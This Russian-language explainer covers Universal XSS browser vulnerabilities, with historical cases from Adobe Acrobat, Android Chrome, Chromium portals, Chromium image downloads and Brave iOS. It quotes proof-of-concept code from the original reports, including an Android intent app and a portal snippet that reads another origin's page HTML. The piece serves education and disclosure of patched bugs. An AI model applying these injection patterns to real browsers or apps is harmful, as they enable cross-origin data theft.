Самая опасная XSS - Universal XSS

Все ранее упомянутые уязвимости XSS в основном вызваны плохой безопасностью сайта, позволяющим злоумышленникам выполнять код JavaScript на веб-сайте.

Однако есть еще один тип XSS, который еще опаснее, как намекает название: Universal XSS.

Причина проста: этот тип атак XSS нацелен не на сам веб-сайт, а на браузер или встроенные плагины.

Так как это уязвимость в браузере, самому сайту не нужно иметь каких-либо проблем. Даже чисто статическая веб-страница может быть уязвима для XSS. Атакуя браузер, достигается "возможность выполнения кода на любом сайте". Поэтому этот тип атаки называется универсальным XSS, или сокращенно UXSS.

Так как же создаются уязвимости UXSS? Давайте рассмотрим несколько примеров.

Firefox's Adobe Acrobat Plugin in 2006

В статье под названием Subverting Ajax, описывается UXSS, нацеленный на Firefox.

У плагина Adobe Acrobat в Firefox была уязвимость, при которой он неправильно проверял параметры. Загрузив PDF и добавив к URL параметр #FDF=javascript:alert(1), можно было выполнить XSS внутри этого PDF.

Например, https://example.com/test.pdf#FDF=javascript:alert(1). Простой просмотр этого URL-адреса приведет к выполнению кода JavaScript на источнике https://example.com, что известно как UXSS.

Хотя изначальная статья не предоставляла подробной информации, я предполагаю, что основной принцип заключается в том, что плагин использует значение, переданное параметром FDF, чтобы выполнить функции вроде window.open, позволяя выполнение кода с помощью псевдо-протокола javascript:.

Android Chrome's UXSS in 2012

В 2012 году Takeshi сообщил об уязвимости: Issue 144813: Security: UXSS via com.android.browser.application_id Intent extra.

В мире Android есть так называемые "intentions". Например, если вы хотите открыть новый экран, вы отправляете "intentions" с сообщением "Я хочу открыть новый экран".

Если вы хотите открыть Chrome и просмотреть определенную страницу, вы можете написать соответствующий код на основе этого намерения:

// Declare a new intentIntent intent = new Intent("android.intent.action.VIEW");// The intent is for Chrome appintent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main");// Set the URLintent.setData(Uri.parse("
https://example.com
"));// Send the intentstartActivity(intent);

В 2012 году кто-то обнаружил, что, сначала открыв https://example.com, а затем открыв javascript:alert(1), можно выполнить код на URL https://example.com, что приводит к уязвимости UXSS.

Комплектный код выглядит так (код из оригинального отчёта):

package jp.mbsd.terada.attackchrome1;import android.app.Activity;import android.os.Bundle;import android.content.Intent;import 
android.net
.Uri;public class Main extends Activity {    @Override    public void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        doit();    }    public void doit() {        try {            // Firstly, force chrome app to open a target Web page            Intent intent1 = getIntentForChrome("
http://www.google.com/1
");            startActivity(intent1);            // Wait a few seconds            Thread.sleep(5000);            // JS code to inject into the target (
www.google.com
)            String jsURL = "javascript:alert('domain='+document.domain)";            Intent intent2 = getIntentForChrome(jsURL);            // Need a trick to prevent Chrome from loading the new URL in a new tab            intent2.putExtra("com.android.browser.application_id", "com.android.chrome");            startActivity(intent2);        }        catch (Exception e) {}    }    // Get intent to invoke chrome app    public Intent getIntentForChrome(String url) {        Intent intent = new Intent("android.intent.action.VIEW");        intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main");        intent.setData(Uri.parse(url));        return intent;    }}

Chromium's UXSS via portal in 2019

В 2019 году Michał Bentkowski сообщил об уязвимости: Issue 962500: Security: Same Origin Policy bypass and local file disclosure via portal element. Это UXSS был выполнен через последнюю функцию <portal>.

Причина этой уязвимости подобна упомянутому ранее случаю с Android. Вот пример кода (из оригинального отчёта):

const p = document.createElement('portal');p.src = '
https://mail.google.com';//
 after a while:p.src = 'javascript:portalHost.postMessage(document.documentElement.outerHTML,"*")';// the code above will get executed in the context of 
https://mail.google.com

Когда вы загружаете URL внутри портала, а затем загружаете javascript:, он выполнит JavaScript на источнике предыдущего загруженного URL. Другими словами, вы можете выполнить JavaScript на любом URL, что делает его UXSS. За эту уязвимость была предложена награда в 10 000 долларов.

Chromium's UXSS triggered by downloading images in 2021

Когда вы щелкаете правой кнопкой мыши на изображении в Chromium и выбираете его для загрузки, Chromium динамически выполняет небольшой кусок кода JavaScript на заднем плане. Он вызывает внутренние функции JavaScript, вроде:

__gCrWeb.imageFetch.getImageData(id, '%s')

Здесь %s - это имя файла изображения. Однако это имя файла не было должным образом отфильтровано, поэтому, если имя файла - '+alert(1)+', код станет:

__gCrWeb.imageFetch.getImageData(id, ''+alert(1)+'')

Это выполнит alert(1). Конечно, вы можете заменить его на любой код. alert(1) - просто пример.

Кроме того, если есть домен A, который встраивает домен B с помощью iframe, когда вы загружаете изображение на домен B, этот динамически генерируемый код JavaScript будет выполнен в окне верхнего уровня, которое является окном домена A.

Другими словами, используя эту уязвимость, если я могу встроить свой URL-адрес атаки в другой домен с помощью iframe, я могу выполнить произвольный код на этом домене, что приводит к UXSS.

Оригинальный отчет и PoC можно найти в отчете Muneaki Nishimura: Issue 1164846: Security: ImageFetchTabHelper::GetImageDataByJs allows child frames to inject scripts into parent (UXSS)

Multiple UXSS in Brave Browser iOS App

Brave - это браузер, ориентированный на конфиденциальность, основанный на Chromium и созданный создателем JavaScript Brendan Eich. У iOS-приложения Brave было обнаружено множество уязвимостей UXSS японским исследователем безопасности Muneaki Nishimura (он также сообщал об UXSS в Chromium, упомянутом выше).

Причина этих уязвимостей подобна тому, что было упомянуто ранее. Это связано с тем, что приложение динамически выполняет код JavaScript без должной фильтрации ввода, что приводит к генерации UXSS.

Например, код может выглядеть так:

self.tab?.webview?.evaluateJavaScript("u2f.postLowLevelRegister(\(requestId), \(true), '\(version)')")

И мы можем контролировать переменную version. В то же время этот скрипт исполняется на верхнем уровне, позволяя подфреймам нападать на родителя и производить XSS на других источниках.

За более подробной информацией обратитесь к презентации Muneaki Nishimura's: Brave Browserの脆弱性を見つけた話（iOS編)

Заключение

Такие уязвимости UXSS обычно выходят за рамки контроля веб-сайтов, поскольку уязвимость находится в самом браузере, а не на веб-сайте.

Для браузеров это действительно значительная уязвимость. Подумайте только, если злоумышленник успешно использует UXSS, он может прочитать вашу почту Gmail, сообщения в Facebook и забрать все ваши данные. Это действительно пугающая ситуация.

Как пользователи всё, что мы можем сделать - это всегда обновлять наши браузеры до последней версии и надеяться, что производители своевременно исправят эти уязвимости.